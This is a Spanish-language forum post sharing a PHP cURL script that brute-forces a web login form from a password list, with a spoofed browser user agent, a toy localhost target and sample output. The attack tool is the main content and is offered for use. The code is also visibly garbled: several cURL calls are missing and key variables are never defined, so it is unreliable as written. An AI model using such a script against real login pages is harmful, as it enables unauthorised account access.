cURL mola
.. aunque como ha dicho @EFEX se puede hacer de muchisimas formas (con muchísimos programas).
<?php
// Url a donde enviar los datos.
$url = 'http://localhost/prueba.php';
// Datos adicionales que hay que enviar (usuario,nacimiento,direccion email etc..)
$datos = array('user'=>'Aitor'); // Nombre del campo que contiene la contraseña
$campo_password = 'password';
// Archivo con las contraseñas
$archivo_passwords = 'passwords.txt';
// Resultado deberia ser.. puede ser parte de un string.
$string_valido = 'Bienvenido';
/* ------------------------------------------------ */
function procesar_archivo($archivo){
$handle = fopen($archivo,'r'); return $content;
}
// Iniciamos curl.
// Indicamos que debe devolver el resultado
// Indicamos la url.
// Indicamos que va a ser un POST y su longitud.
// Indicamos que siga las redirecciones
// Simulamos ser un navegador Firefox.
curl_setopt($ch, CURLOPT_USERAGENT
, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
// Procesamos el archivo.
$passwords = procesar_archivo($archivo_passwords);
if(empty($passwords)||!is_array($passwords)){die('El archivo no existe y/o no es valido');}
// Por cada password
foreach($passwords as $password){
// Converimos los datos a url. (ej: usuario=Aitor&email=hola)
$string='';
foreach($datos as $index=>$valor){ $string .= $index.'='.$valor.'&'; }
// Añadimos el campo password
$string.=$campo_password.'='.$password;
// Añadimos los datos al POST
// Ejecutamos curl
echo 'Probando -'.$password;
// Comprobamos si fue validado
if(strstr($resultado,$string_valido)){echo '-VALIDO';break
;} else {echo '-NO VALIDO <br />'; continue;}
}
?>
Prueba PHP:
<?php
$user = $_POST['user'];
$password = $_POST['password'];
if($user === "Aitor" && $password == 10){echo "Bienvenido usuario X";}else{echo "No es correcto.";}
?>
Resultado:
Probando -1-NO VALIDO
Probando -2-NO VALIDO
Probando -3-NO VALIDO
Probando -4-NO VALIDO
Probando -5-NO VALIDO
Probando -6-NO VALIDO
Probando -7-NO VALIDO
Probando -8-NO VALIDO
Probando -9-NO VALIDO
Probando -10-VALIDO
Saludos